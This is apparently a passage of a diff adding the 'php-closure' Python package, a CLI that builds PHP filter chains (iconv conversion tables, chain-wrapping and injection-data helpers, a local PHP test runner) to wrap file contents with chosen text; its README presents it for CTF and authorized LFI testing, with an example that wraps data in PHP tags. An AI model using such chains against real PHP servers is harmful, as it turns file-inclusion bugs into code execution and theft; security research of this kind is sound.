+ "convert.iconv.BIG-FIVE.UCS-4",
233
+ ]
234
+ ),
235
+ "q": FilterPart(
236
+ [
237
+ "convert.iconv.SE2.UTF-16",
238
+ "convert.iconv.CSIBM1161.IBM-932",
239
+ "convert.iconv.GBK.CP932",
240
+ "convert.iconv.BIG5.UCS2",
241
+ ]
242
+ ),
243
+ "Q": FilterPart(
244
+ [
245
+ "convert.iconv.L6.UNICODE",
246
+ "convert.iconv.CP1282.ISO-IR-90",
247
+ "convert.iconv.CSA_T500-1983.UCS-2BE",
248
+ "convert.iconv.MIK.UCS2",
249
+ ]
250
+ ),
251
+ "R": FilterPart(
252
+ [
253
+ "convert.iconv.PT.UTF32",
254
+ "convert.iconv.KOI8-U.IBM-932",
255
+ "convert.iconv.SJIS.EUCJP-WIN",
256
+ "convert.iconv.L10.UCS4",
257
+ ]
258
+ ),
259
+ "r": FilterPart(
260
+ [
261
+ "convert.iconv.IBM869.UTF16",
262
+ "convert.iconv.L3.CSISO90",
263
+ "convert.iconv.ISO-IR-99.UCS-2BE",
264
+ "convert.iconv.L4.OSF00010101",
265
+ ]
266
+ ),
267
+ "S": FilterPart(
268
+ [
269
+ "convert.iconv.INIS.UTF16",
270
+ "convert.iconv.CSIBM1133.IBM943",
271
+ "convert.iconv.GBK.SJIS",
272
+ ]
273
+ ),
274
+ "s": FilterPart(["convert.iconv.IBM869.UTF16", "convert.iconv.L3.CSISO90"]),
275
+ "T": FilterPart(
276
+ [
277
+ "convert.iconv.L6.UNICODE",
278
+ "convert.iconv.CP1282.ISO-IR-90",
279
+ "convert.iconv.CSA_T500.L4",
280
+ "convert.iconv.ISO_8859-2.ISO-IR-103",
281
+ ]
282
+ ),
283
+ "t": FilterPart(["convert.iconv.864.UTF32", "convert.iconv.IBM912.NAPLPS"]),
284
+ "U": FilterPart(["convert.iconv.INIS.UTF16", "convert.iconv.CSIBM1133.IBM943"]),
285
+ "u": FilterPart(["convert.iconv.CP1162.UTF32", "convert.iconv.L4.T.61"]),
286
+ "V": FilterPart(
287
+ [
288
+ "convert.iconv.CP861.UTF-16",
289
+ "convert.iconv.L4.GB13000",
290
+ "convert.iconv.BIG5.JOHAB",
291
+ ]
292
+ ),
293
+ "v": FilterPart(
294
+ [
295
+ "convert.iconv.UTF8.UTF16LE",
296
+ "convert.iconv.UTF8.CSISO2022KR",
297
+ "convert.iconv.UTF16.EUCTW",
298
+ "convert.iconv.ISO-8859-14.UCS2",
299
+ ]
300
+ ),
301
+ "W": FilterPart(
302
+ [
303
+ "convert.iconv.SE2.UTF-16",
304
+ "convert.iconv.CSIBM1161.IBM-932",
305
+ "convert.iconv.MS932.MS936",
306
+ ]
307
+ ),
308
+ "w": FilterPart(["convert.iconv.MAC.UTF16", "convert.iconv.L8.UTF16BE"]),
309
+ "X": FilterPart(["convert.iconv.PT.UTF32", "convert.iconv.KOI8-U.IBM-932"]),
310
+ "x": FilterPart(["convert.iconv.CP-AR.UTF16", "convert.iconv.8859_4.BIG5HKSCS"]),
311
+ "Y": FilterPart(
312
+ [
313
+ "convert.iconv.CP367.UTF-16",
314
+ "convert.iconv.CSIBM901.SHIFT_JISX0213",
315
+ "convert.iconv.UHC.CP1361",
316
+ ]
317
+ ),
318
+ "y": FilterPart(["convert.iconv.851.UTF-16", "convert.iconv.L1.T.618BIT"]),
319
+ "Z": FilterPart(
320
+ [
321
+ "convert.iconv.SE2.UTF-16",
322
+ "convert.iconv.CSIBM1161.IBM-932",
323
+ "convert.iconv.BIG5HKSCS.UTF16",
324
+ ]
325
+ ),
326
+ "z": FilterPart(["convert.iconv.865.UTF16", "convert.iconv.CP901.ISO6937"]),
327
+ "/": FilterPart(
328
+ [
329
+ "convert.iconv.IBM869.UTF16",
330
+ "convert.iconv.L3.CSISO90",
331
+ "convert.iconv.UCS2.UTF-8",
332
+ "convert.iconv.CSISOLATIN6.UCS-4",
333
+ ]
334
+ ),
335
+ "+": FilterPart(
336
+ [
337
+ "convert.iconv.UTF8.UTF16",
338
+ "convert.iconv.WINDOWS-1258.UTF32LE",
339
+ "convert.iconv.ISIRI3342.ISO-IR-157",
340
+ ]
341
+ ),
342
+ }
File without changes
@@ -0,0 +1,33 @@
1
+ import subprocess
2
+
3
+ from ..classes.filter_part import FilterPart
4
+
5
+
6
+ class PHPFilterError(RuntimeError):
7
+ pass
8
+
9
+
10
+ def run_php_filter(chain: str) -> bytes:
11
+ if isinstance(chain, FilterPart):
12
+ chain = str(chain)
13
+
14
+ php_code = f'<?php echo file_get_contents("{chain}");'
15
+
16
+ result = subprocess.run(
17
+ ["php"],
18
+ input=php_code.encode("utf-8"),
19
+ stdout=subprocess.PIPE,
20
+ stderr=subprocess.PIPE,
21
+ )
22
+
23
+ if result.returncode != 0:
24
+ raise PHPFilterError(
25
+ result.stderr.decode("utf-8", errors="replace").strip()
26
+ )
27
+
28
+ stderr_text = result.stderr.decode("utf-8", errors="replace").strip()
29
+
30
+ if stderr_text:
31
+ raise PHPFilterError(stderr_text)
32
+
33
+ return result.stdout
File without changes
@@ -0,0 +1,25 @@
1
+ from ..constants.operations import ROT13, B64D, B64E
2
+ from ..classes.filter_part import FilterPart
3
+
4
+
5
+ def rot13_wrap(chain: FilterPart):
6
+ return ROT13 / chain / ROT13
7
+
8
+
9
+ def b64_wrap(chain: FilterPart):
10
+ return B64E / chain / B64D
11
+
12
+
13
+ def iconv_multi_wrap(chain, *enc_pairs):
14
+ out_chain = FilterPart([])
15
+ for enc_pair in reversed(enc_pairs):
16
+ src_enc, dst_enc = enc_pair
17
+ out_chain = out_chain / f"convert.iconv.{dst_enc}.{src_enc}"
18
+
19
+ out_chain = out_chain / chain
20
+
21
+ for enc_pair in enc_pairs:
22
+ src_enc, dst_enc = enc_pair
23
+ out_chain = out_chain / f"convert.iconv.{src_enc}.{dst_enc}"
24
+
25
+ return out_chain
@@ -0,0 +1,23 @@
1
+ import base64
2
+
3
+
4
+ def right_pad(s: str, multiple: int, char: str) -> str:
5
+ return s.ljust(len(s) + (-len(s) % multiple), char)
6
+
7
+ def left_pad(s: str, multiple: int, char: str) -> str:
8
+ return s.rjust(len(s) + (-len(s) % multiple), char)
9
+
10
+ def mult_3(s: str|bytes) -> bytes:
11
+ if isinstance(s, str):
12
+ s = s.encode()
13
+ return s.decode('utf-16').encode('utf-8')
14
+
15
+ def prepare_injection_data(s: str) -> str:
16
+ if len(s) % 4 != 0:
17
+ raise RuntimeError("Something went wrong!")
18
+
19
+ s = mult_3(s)
20
+ s = mult_3(s)
21
+ s = base64.b64encode(s).decode()
22
+
23
+ return s.replace("=", "")
@@ -0,0 +1,91 @@
1
+ Metadata-Version: 2.4
2
+ Name: php-closure
3
+ Version: 1.0.0
4
+ Summary: Wrap file contents with PHP filter chains
5
+ Author: Eilon Avizemer
6
+ License: MIT License
7
+
8
+ Copyright (c) 2026 Eilon Avizemer
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+
28
+ Requires-Python: >=3.8
29
+ Description-Content-Type: text/markdown
30
+ License-File: LICENSE
31
+ Dynamic: license-file
32
+
33
+ # php-closure
34
+
35
+ **php-closure** (the `closure` command) is a CLI tool, written in Python, that generates [PHP filter chains](https://www.php.net/manual/en/filters.php) for wrapping any file with an arbitrary prefix and suffix. A chain is a long `php://filter/...` string. When PHP reads it, the result is the file's contents with your prefix and suffix around them.
36
+
37
+ It is meant for CTF challenges and for testing PHP local file inclusion (LFI) bugs on systems you are authorized to test.
38
+
39
+ # Installation
40
+
41
+ Install **closure** directly from GitHub using `pip`:
42
+
43
+ ```bash
44
+ pip install git+https://github.com/eilon-avi/php-closure.git
45
+ ```
46
+
47
+ Alternatively, clone the repository and install it locally:
48
+
49
+ ```bash
50
+ git clone https://github.com/eilon-avi/php-closure.git
51
+ cd php-closure
52
+ pip install .
53
+ ```
54
+
55
+ Requires Python 3.8 or newer. PHP is optional and is only needed for `--test`.
56
+
57
+ # Usage
58
+
59
+ After installation, the CLI is available from your terminal:
60
+
61
+ ```bash
62
+ closure --help
63
+ ```
64
+
65
+ ![Output of closure --help](https://github.com/user-attachments/assets/e96a193f-4bda-43bb-8e94-afccd2e81bd6)
66
+
67
+ Use the available options to create your php filter chain:
68
+
69
+ ![Example run with a JSON prefix and suffix, writing the chain to chain.txt](https://github.com/user-attachments/assets/60924d67-5ea4-454b-8b75-5e8c93f10424)
70
+
71
+ ## Example
72
+
73
+ Wrap `data.txt` in a PHP opening tag and closing tag, and write the chain to `chain.txt`:
74
+
75
+ ```bash
76
+ closure -p "<?php " -s "?>" -o chain.txt data.txt
77
+ ```
78
+
79
+ Output:
80
+
81
+ ```
82
+ Chain written to: chain.txt
83
+
84
+ Resulting chain size: 13004
85
+ ```
86
+
87
+ Chains are long, so write them to a file with `-o`. Without `-o`, closure prints the chain to stdout. Add `-t` to run the chain with your local PHP install and print the result (requires PHP to be installed).
88
+
89
+ # Documentation & Research
90
+
91
+ All of the technical details about how this tool works are summarized in [this](https://eilon-avi.github.io/projects/closure/) blog post.
@@ -0,0 +1,22 @@
1
+ __init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
2
+ closure/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
3
+ closure/cli.py,sha256=rlBCjqnGHjj47SEWCdd-KGRF5_f02FPc2hbLbbqj9mU,2670
4
+ closure/classes/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
5
+ closure/classes/appender.py,sha256=G91abL5nABaxYfiFHkHD2gTuSnd90migFeQAjVSU3po,438
6
+ closure/classes/chain_builder.py,sha256=TX41Qlg_kl4Mfy45PRfKpbfrihXG-VX5p2MhVEVeM9g,5893
7
+ closure/classes/filter_part.py,sha256=KovU_62doB6EIrDOZ8CaPHIROLfi-gsgGGyAkq4cki4,1736
8
+ closure/constants/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
9
+ closure/constants/appenders.py,sha256=cxSW4zNVYpGGY2gUUM8HIycVSKguJmMzx7VXyp7VyWs,7347
10
+ closure/constants/operations.py,sha256=NLg60YkOtLjtriP7-RbZa1umPeIeHglnE0PLtlWVp9w,485
11
+ closure/constants/prependers.py,sha256=RZFUPI9Ys2lZRocLKRVrbq11HJquNTWUkNPjR5g1T30,10794
12
+ closure/testing/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
13
+ closure/testing/run_php_filter.py,sha256=Q-dvJ75bI-Cfr7sQgj0BfAMomFMvU7l9zUhD_n7TRuY,771
14
+ closure/utils/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
15
+ closure/utils/chain_functions.py,sha256=TS5jqOUuVcWurxIIX5XUT_Ojk56Oi6UKl5KMJna7EKg,673
16
+ closure/utils/string_functions.py,sha256=Z0b66ebPg49LmJ0UOyNN9R0YmYl7ejtvmTn7C4O3DBo,620
17
+ php_closure-1.0.0.dist-info/licenses/LICENSE,sha256=3AseLPufnSRXZ0HhoNo1FsZBk_8Jca8lbT__IZQOglY,1092
18
+ php_closure-1.0.0.dist-info/METADATA,sha256=IY2bqlIqaYinWDYZZj9Sd4rLhW77TBAqO0G5gG1Kh_o,3494
19
+ php_closure-1.0.0.dist-info/WHEEL,sha256=mOdXR9C3wMVov7cSY8PY-XCzo3SmmWCHvGQr5csJoao,91
20
+ php_closure-1.0.0.dist-info/entry_points.txt,sha256=bafGWW-cYnHLCFz7ihLJ6PxN5eeUe6gLA4ipnE-I9H4,45
21
+ php_closure-1.0.0.dist-info/top_level.txt,sha256=7PfJk7w9_EHOfNuyFpBJnGbaZzAYtjA7p_AzCl3bkPE,17
22
+ php_closure-1.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (84.2.1)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ closure = closure.cli:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Eilon Avizemer
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,2 @@
1
+ __init__
2
+ closure